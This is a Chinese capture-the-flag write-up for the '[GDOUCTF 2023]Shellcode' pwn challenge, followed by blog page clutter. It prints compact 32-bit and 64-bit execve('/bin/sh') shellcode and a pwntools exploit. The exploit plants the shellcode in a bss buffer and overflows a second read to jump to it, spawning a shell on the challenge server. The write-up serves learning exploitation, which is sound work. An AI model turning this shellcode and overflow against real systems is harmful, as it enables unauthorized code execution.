[GDOUCTF 2023]Shellcode 全网最详细write up

[GDOUCTF 2023]Shellcode

32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05】​

拿到题 先checksec 看一下防护 就不贴图片了

查看main函数

image

有两个read

image

并且没有后门没有system

所以我们可以首先看看有没有能shellcode 的地方 就去查看两次read函数在不在bss段

如果在bss段那我们就可以自己弄一个system

image

这里可以知道第一次的name在bss段

但是这次不能用

asm(shellcraft.sh())

因为使用 shellcraft 默认生成的字节数是 0x30这里只能0x25 我们需要找小于0x25的shellcode

exp如下

from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p=process('./ezshell')
p=remote('node4.anna.nssctf.cn',28454)
name_addr=0x6010A0
shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
p.sendlineafter("Please.",shellcode)
payload=b'a'*0x0A+p64(0)+p64(name_addr)
p.sendlineafter("start!",payload)
p.interactive()

解释一下 因为name在bss段可读写 所以我们需要把shellcode 在第一次的read 先写进去

第二次在溢出 然后跳转到 第一个name的位置 利用shellcode

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值